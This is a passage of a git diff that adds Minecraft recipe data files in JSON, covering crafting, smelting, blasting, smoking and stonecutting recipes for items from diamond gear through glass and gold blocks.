+} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_boots.json b/src/data/minecraft/recipes/diamond_boots.json new file mode 100644 index 00000000..548eb8c4 --- /dev/null +++ b/src/data/minecraft/recipes/diamond_boots.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "X X" + ], + "key": { + "X": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:diamond_boots" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_chestplate.json b/src/data/minecraft/recipes/diamond_chestplate.json new file mode 100644 index 00000000..55fd936d --- /dev/null +++ b/src/data/minecraft/recipes/diamond_chestplate.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "XXX", + "XXX" + ], + "key": { + "X": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:diamond_chestplate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_from_blasting.json b/src/data/minecraft/recipes/diamond_from_blasting.json new file mode 100644 index 00000000..816cf111 --- /dev/null +++ b/src/data/minecraft/recipes/diamond_from_blasting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:blasting", + "ingredient": { + "item": "minecraft:diamond_ore" + }, + "result": "minecraft:diamond", + "experience": 1.0, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_from_smelting.json b/src/data/minecraft/recipes/diamond_from_smelting.json new file mode 100644 index 00000000..cf31cf95 --- /dev/null +++ b/src/data/minecraft/recipes/diamond_from_smelting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:diamond_ore" + }, + "result": "minecraft:diamond", + "experience": 1.0, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_helmet.json b/src/data/minecraft/recipes/diamond_helmet.json new file mode 100644 index 00000000..c83a4922 --- /dev/null +++ b/src/data/minecraft/recipes/diamond_helmet.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X X" + ], + "key": { + "X": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:diamond_helmet" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_hoe.json b/src/data/minecraft/recipes/diamond_hoe.json new file mode 100644 index 00000000..2401cb25 --- /dev/null +++ b/src/data/minecraft/recipes/diamond_hoe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XX", + " #", + " #" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:diamond_hoe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_leggings.json b/src/data/minecraft/recipes/diamond_leggings.json new file mode 100644 index 00000000..32f4c2b4 --- /dev/null +++ b/src/data/minecraft/recipes/diamond_leggings.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X X", + "X X" + ], + "key": { + "X": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:diamond_leggings" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_pickaxe.json b/src/data/minecraft/recipes/diamond_pickaxe.json new file mode 100644 index 00000000..56fc30e7 --- /dev/null +++ b/src/data/minecraft/recipes/diamond_pickaxe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + " # ", + " # " + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:diamond_pickaxe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_shovel.json b/src/data/minecraft/recipes/diamond_shovel.json new file mode 100644 index 00000000..84d2d4fd --- /dev/null +++ b/src/data/minecraft/recipes/diamond_shovel.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:diamond_shovel" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_sword.json b/src/data/minecraft/recipes/diamond_sword.json new file mode 100644 index 00000000..d4bf6ee7 --- /dev/null +++ b/src/data/minecraft/recipes/diamond_sword.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "X", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:diamond_sword" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diorite.json b/src/data/minecraft/recipes/diorite.json new file mode 100644 index 00000000..69c4996a --- /dev/null +++ b/src/data/minecraft/recipes/diorite.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "CQ", + "QC" + ], + "key": { + "Q": { + "item": "minecraft:quartz" + }, + "C": { + "item": "minecraft:cobblestone" + } + }, + "result": { + "item": "minecraft:diorite", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diorite_slab.json b/src/data/minecraft/recipes/diorite_slab.json new file mode 100644 index 00000000..61ed93f1 --- /dev/null +++ b/src/data/minecraft/recipes/diorite_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:diorite" + } + }, + "result": { + "item": "minecraft:diorite_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diorite_slab_from_diorite_stonecutting.json b/src/data/minecraft/recipes/diorite_slab_from_diorite_stonecutting.json new file mode 100644 index 00000000..67d77c7c --- /dev/null +++ b/src/data/minecraft/recipes/diorite_slab_from_diorite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:diorite" + }, + "result": "minecraft:diorite_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diorite_stairs.json b/src/data/minecraft/recipes/diorite_stairs.json new file mode 100644 index 00000000..c11c0322 --- /dev/null +++ b/src/data/minecraft/recipes/diorite_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:diorite" + } + }, + "result": { + "item": "minecraft:diorite_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diorite_stairs_from_diorite_stonecutting.json b/src/data/minecraft/recipes/diorite_stairs_from_diorite_stonecutting.json new file mode 100644 index 00000000..c3e963eb --- /dev/null +++ b/src/data/minecraft/recipes/diorite_stairs_from_diorite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:diorite" + }, + "result": "minecraft:diorite_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diorite_wall.json b/src/data/minecraft/recipes/diorite_wall.json new file mode 100644 index 00000000..16f9b8dc --- /dev/null +++ b/src/data/minecraft/recipes/diorite_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:diorite" + } + }, + "result": { + "item": "minecraft:diorite_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diorite_wall_from_diorite_stonecutting.json b/src/data/minecraft/recipes/diorite_wall_from_diorite_stonecutting.json new file mode 100644 index 00000000..f3f3e828 --- /dev/null +++ b/src/data/minecraft/recipes/diorite_wall_from_diorite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:diorite" + }, + "result": "minecraft:diorite_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dispenser.json b/src/data/minecraft/recipes/dispenser.json new file mode 100644 index 00000000..93d89cb4 --- /dev/null +++ b/src/data/minecraft/recipes/dispenser.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#X#", + "#R#" + ], + "key": { + "R": { + "item": "minecraft:redstone" + }, + "#": { + "item": "minecraft:cobblestone" + }, + "X": { + "item": "minecraft:bow" + } + }, + "result": { + "item": "minecraft:dispenser" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dried_kelp.json b/src/data/minecraft/recipes/dried_kelp.json new file mode 100644 index 00000000..2e95b1c2 --- /dev/null +++ b/src/data/minecraft/recipes/dried_kelp.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:dried_kelp_block" + } + ], + "result": { + "item": "minecraft:dried_kelp", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dried_kelp_block.json b/src/data/minecraft/recipes/dried_kelp_block.json new file mode 100644 index 00000000..cd1414c3 --- /dev/null +++ b/src/data/minecraft/recipes/dried_kelp_block.json @@ -0,0 +1,35 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:dried_kelp" + }, + { + "item": "minecraft:dried_kelp" + }, + { + "item": "minecraft:dried_kelp" + }, + { + "item": "minecraft:dried_kelp" + }, + { + "item": "minecraft:dried_kelp" + }, + { + "item": "minecraft:dried_kelp" + }, + { + "item": "minecraft:dried_kelp" + }, + { + "item": "minecraft:dried_kelp" + }, + { + "item": "minecraft:dried_kelp" + } + ], + "result": { + "item": "minecraft:dried_kelp_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dried_kelp_from_campfire_cooking.json b/src/data/minecraft/recipes/dried_kelp_from_campfire_cooking.json new file mode 100644 index 00000000..6d8a7ad1 --- /dev/null +++ b/src/data/minecraft/recipes/dried_kelp_from_campfire_cooking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:campfire_cooking", + "ingredient": { + "item": "minecraft:kelp" + }, + "result": "minecraft:dried_kelp", + "experience": 0.1, + "cookingtime": 600 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dried_kelp_from_smelting.json b/src/data/minecraft/recipes/dried_kelp_from_smelting.json new file mode 100644 index 00000000..d288d9c5 --- /dev/null +++ b/src/data/minecraft/recipes/dried_kelp_from_smelting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:kelp" + }, + "result": "minecraft:dried_kelp", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dried_kelp_from_smoking.json b/src/data/minecraft/recipes/dried_kelp_from_smoking.json new file mode 100644 index 00000000..cdc40ba7 --- /dev/null +++ b/src/data/minecraft/recipes/dried_kelp_from_smoking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smoking", + "ingredient": { + "item": "minecraft:kelp" + }, + "result": "minecraft:dried_kelp", + "experience": 0.1, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dropper.json b/src/data/minecraft/recipes/dropper.json new file mode 100644 index 00000000..d276f164 --- /dev/null +++ b/src/data/minecraft/recipes/dropper.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "# #", + "#R#" + ], + "key": { + "R": { + "item": "minecraft:redstone" + }, + "#": { + "item": "minecraft:cobblestone" + } + }, + "result": { + "item": "minecraft:dropper" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/emerald.json b/src/data/minecraft/recipes/emerald.json new file mode 100644 index 00000000..d337d447 --- /dev/null +++ b/src/data/minecraft/recipes/emerald.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:emerald_block" + } + ], + "result": { + "item": "minecraft:emerald", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/emerald_block.json b/src/data/minecraft/recipes/emerald_block.json new file mode 100644 index 00000000..9ebdb204 --- /dev/null +++ b/src/data/minecraft/recipes/emerald_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:emerald" + } + }, + "result": { + "item": "minecraft:emerald_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/emerald_from_blasting.json b/src/data/minecraft/recipes/emerald_from_blasting.json new file mode 100644 index 00000000..853b4275 --- /dev/null +++ b/src/data/minecraft/recipes/emerald_from_blasting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:blasting", + "ingredient": { + "item": "minecraft:emerald_ore" + }, + "result": "minecraft:emerald", + "experience": 1.0, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/emerald_from_smelting.json b/src/data/minecraft/recipes/emerald_from_smelting.json new file mode 100644 index 00000000..695e393a --- /dev/null +++ b/src/data/minecraft/recipes/emerald_from_smelting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:emerald_ore" + }, + "result": "minecraft:emerald", + "experience": 1.0, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/enchanting_table.json b/src/data/minecraft/recipes/enchanting_table.json new file mode 100644 index 00000000..16eb0d39 --- /dev/null +++ b/src/data/minecraft/recipes/enchanting_table.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " B ", + "D#D", + "###" + ], + "key": { + "B": { + "item": "minecraft:book" + }, + "#": { + "item": "minecraft:obsidian" + }, + "D": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:enchanting_table" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_crystal.json b/src/data/minecraft/recipes/end_crystal.json new file mode 100644 index 00000000..d9e40b53 --- /dev/null +++ b/src/data/minecraft/recipes/end_crystal.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "GGG", + "GEG", + "GTG" + ], + "key": { + "T": { + "item": "minecraft:ghast_tear" + }, + "E": { + "item": "minecraft:ender_eye" + }, + "G": { + "item": "minecraft:glass" + } + }, + "result": { + "item": "minecraft:end_crystal" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_rod.json b/src/data/minecraft/recipes/end_rod.json new file mode 100644 index 00000000..be2bd413 --- /dev/null +++ b/src/data/minecraft/recipes/end_rod.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "/", + "#" + ], + "key": { + "#": { + "item": "minecraft:popped_chorus_fruit" + }, + "/": { + "item": "minecraft:blaze_rod" + } + }, + "result": { + "item": "minecraft:end_rod", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_brick_slab.json b/src/data/minecraft/recipes/end_stone_brick_slab.json new file mode 100644 index 00000000..4dbbb67d --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_brick_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:end_stone_bricks" + } + }, + "result": { + "item": "minecraft:end_stone_brick_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_brick_slab_from_end_stone_brick_stonecutting.json b/src/data/minecraft/recipes/end_stone_brick_slab_from_end_stone_brick_stonecutting.json new file mode 100644 index 00000000..a043a1be --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_brick_slab_from_end_stone_brick_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:end_stone_bricks" + }, + "result": "minecraft:end_stone_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_brick_slab_from_end_stone_stonecutting.json b/src/data/minecraft/recipes/end_stone_brick_slab_from_end_stone_stonecutting.json new file mode 100644 index 00000000..e257cceb --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_brick_slab_from_end_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:end_stone" + }, + "result": "minecraft:end_stone_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_brick_stairs.json b/src/data/minecraft/recipes/end_stone_brick_stairs.json new file mode 100644 index 00000000..ce0512d7 --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_brick_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:end_stone_bricks" + } + }, + "result": { + "item": "minecraft:end_stone_brick_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_brick_stairs_from_end_stone_brick_stonecutting.json b/src/data/minecraft/recipes/end_stone_brick_stairs_from_end_stone_brick_stonecutting.json new file mode 100644 index 00000000..e2310de0 --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_brick_stairs_from_end_stone_brick_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:end_stone_bricks" + }, + "result": "minecraft:end_stone_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_brick_stairs_from_end_stone_stonecutting.json b/src/data/minecraft/recipes/end_stone_brick_stairs_from_end_stone_stonecutting.json new file mode 100644 index 00000000..bd3bfe6e --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_brick_stairs_from_end_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:end_stone" + }, + "result": "minecraft:end_stone_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_brick_wall.json b/src/data/minecraft/recipes/end_stone_brick_wall.json new file mode 100644 index 00000000..7bf02d28 --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_brick_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:end_stone_bricks" + } + }, + "result": { + "item": "minecraft:end_stone_brick_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_brick_wall_from_end_stone_brick_stonecutting.json b/src/data/minecraft/recipes/end_stone_brick_wall_from_end_stone_brick_stonecutting.json new file mode 100644 index 00000000..ab117409 --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_brick_wall_from_end_stone_brick_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:end_stone_bricks" + }, + "result": "minecraft:end_stone_brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_brick_wall_from_end_stone_stonecutting.json b/src/data/minecraft/recipes/end_stone_brick_wall_from_end_stone_stonecutting.json new file mode 100644 index 00000000..cb04bfd9 --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_brick_wall_from_end_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:end_stone" + }, + "result": "minecraft:end_stone_brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_bricks.json b/src/data/minecraft/recipes/end_stone_bricks.json new file mode 100644 index 00000000..70989ac1 --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_bricks.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:end_stone" + } + }, + "result": { + "item": "minecraft:end_stone_bricks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/end_stone_bricks_from_end_stone_stonecutting.json b/src/data/minecraft/recipes/end_stone_bricks_from_end_stone_stonecutting.json new file mode 100644 index 00000000..bf96a6e9 --- /dev/null +++ b/src/data/minecraft/recipes/end_stone_bricks_from_end_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:end_stone" + }, + "result": "minecraft:end_stone_bricks", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/ender_chest.json b/src/data/minecraft/recipes/ender_chest.json new file mode 100644 index 00000000..a1d13381 --- /dev/null +++ b/src/data/minecraft/recipes/ender_chest.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#E#", + "###" + ], + "key": { + "#": { + "item": "minecraft:obsidian" + }, + "E": { + "item": "minecraft:ender_eye" + } + }, + "result": { + "item": "minecraft:ender_chest" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/ender_eye.json b/src/data/minecraft/recipes/ender_eye.json new file mode 100644 index 00000000..59ad02bc --- /dev/null +++ b/src/data/minecraft/recipes/ender_eye.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:ender_pearl" + }, + { + "item": "minecraft:blaze_powder" + } + ], + "result": { + "item": "minecraft:ender_eye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/fermented_spider_eye.json b/src/data/minecraft/recipes/fermented_spider_eye.json new file mode 100644 index 00000000..bce59e61 --- /dev/null +++ b/src/data/minecraft/recipes/fermented_spider_eye.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:spider_eye" + }, + { + "item": "minecraft:brown_mushroom" + }, + { + "item": "minecraft:sugar" + } + ], + "result": { + "item": "minecraft:fermented_spider_eye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/fire_charge.json b/src/data/minecraft/recipes/fire_charge.json new file mode 100644 index 00000000..f7e57e62 --- /dev/null +++ b/src/data/minecraft/recipes/fire_charge.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:gunpowder" + }, + { + "item": "minecraft:blaze_powder" + }, + [ + { + "item": "minecraft:coal" + }, + { + "item": "minecraft:charcoal" + } + ] + ], + "result": { + "item": "minecraft:fire_charge", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/firework_rocket.json b/src/data/minecraft/recipes/firework_rocket.json new file mode 100644 index 00000000..889dedc7 --- /dev/null +++ b/src/data/minecraft/recipes/firework_rocket.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_firework_rocket" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/firework_star.json b/src/data/minecraft/recipes/firework_star.json new file mode 100644 index 00000000..7168ef92 --- /dev/null +++ b/src/data/minecraft/recipes/firework_star.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_firework_star" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/firework_star_fade.json b/src/data/minecraft/recipes/firework_star_fade.json new file mode 100644 index 00000000..c6b80654 --- /dev/null +++ b/src/data/minecraft/recipes/firework_star_fade.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_firework_star_fade" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/fishing_rod.json b/src/data/minecraft/recipes/fishing_rod.json new file mode 100644 index 00000000..d79d9ac9 --- /dev/null +++ b/src/data/minecraft/recipes/fishing_rod.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " #", + " #X", + "# X" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:string" + } + }, + "result": { + "item": "minecraft:fishing_rod" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/fletching_table.json b/src/data/minecraft/recipes/fletching_table.json new file mode 100644 index 00000000..d91cf280 --- /dev/null +++ b/src/data/minecraft/recipes/fletching_table.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "@@", + "##", + "##" + ], + "key": { + "#": { + "tag": "minecraft:planks" + }, + "@": { + "item": "minecraft:flint" + } + }, + "result": { + "item": "minecraft:fletching_table" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/flint_and_steel.json b/src/data/minecraft/recipes/flint_and_steel.json new file mode 100644 index 00000000..ec774421 --- /dev/null +++ b/src/data/minecraft/recipes/flint_and_steel.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:iron_ingot" + }, + { + "item": "minecraft:flint" + } + ], + "result": { + "item": "minecraft:flint_and_steel" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/flower_banner_pattern.json b/src/data/minecraft/recipes/flower_banner_pattern.json new file mode 100644 index 00000000..fa398b65 --- /dev/null +++ b/src/data/minecraft/recipes/flower_banner_pattern.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:paper" + }, + { + "item": "minecraft:oxeye_daisy" + } + ], + "result": { + "item": "minecraft:flower_banner_pattern" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/flower_pot.json b/src/data/minecraft/recipes/flower_pot.json new file mode 100644 index 00000000..1bf914c2 --- /dev/null +++ b/src/data/minecraft/recipes/flower_pot.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# #", + " # " + ], + "key": { + "#": { + "item": "minecraft:brick" + } + }, + "result": { + "item": "minecraft:flower_pot" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/furnace.json b/src/data/minecraft/recipes/furnace.json new file mode 100644 index 00000000..60f78a82 --- /dev/null +++ b/src/data/minecraft/recipes/furnace.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "# #", + "###" + ], + "key": { + "#": { + "tag": "minecraft:stone_crafting_materials" + } + }, + "result": { + "item": "minecraft:furnace" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/furnace_minecart.json b/src/data/minecraft/recipes/furnace_minecart.json new file mode 100644 index 00000000..28802cb4 --- /dev/null +++ b/src/data/minecraft/recipes/furnace_minecart.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "A", + "B" + ], + "key": { + "A": { + "item": "minecraft:furnace" + }, + "B": { + "item": "minecraft:minecart" + } + }, + "result": { + "item": "minecraft:furnace_minecart" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/glass.json b/src/data/minecraft/recipes/glass.json new file mode 100644 index 00000000..32b5ece9 --- /dev/null +++ b/src/data/minecraft/recipes/glass.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "tag": "minecraft:sand" + }, + "result": "minecraft:glass", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/glass_bottle.json b/src/data/minecraft/recipes/glass_bottle.json new file mode 100644 index 00000000..81885ac8 --- /dev/null +++ b/src/data/minecraft/recipes/glass_bottle.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# #", + " # " + ], + "key": { + "#": { + "item": "minecraft:glass" + } + }, + "result": { + "item": "minecraft:glass_bottle", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/glass_pane.json b/src/data/minecraft/recipes/glass_pane.json new file mode 100644 index 00000000..a10664d0 --- /dev/null +++ b/src/data/minecraft/recipes/glass_pane.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + } + }, + "result": { + "item": "minecraft:glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/glistering_melon_slice.json b/src/data/minecraft/recipes/glistering_melon_slice.json new file mode 100644 index 00000000..1e4c7d2c --- /dev/null +++ b/src/data/minecraft/recipes/glistering_melon_slice.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:gold_nugget" + }, + "X": { + "item": "minecraft:melon_slice" + } + }, + "result": { + "item": "minecraft:glistering_melon_slice" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/glowstone.json b/src/data/minecraft/recipes/glowstone.json new file mode 100644 index 00000000..8e58f3f9 --- /dev/null +++ b/src/data/minecraft/recipes/glowstone.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:glowstone_dust" + } + }, + "result": { + "item": "minecraft:glowstone" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gold_block.json b/src/data/minecraft/recipes/gold_block.json new file mode 100644 index 00000000..28f1a3ec --- /dev/null +++ b/src/data/minecraft/recipes/gold_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:gold_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gold_ingot.json b/src/data/minecraft/recipes/gold_ingot.json new file mode 100644 index 00000000..a839b991 --- /dev/null +++ b/src/data/minecraft/recipes/gold_ingot.json @@ -0,0 +1,9 @@ +{ + "type": 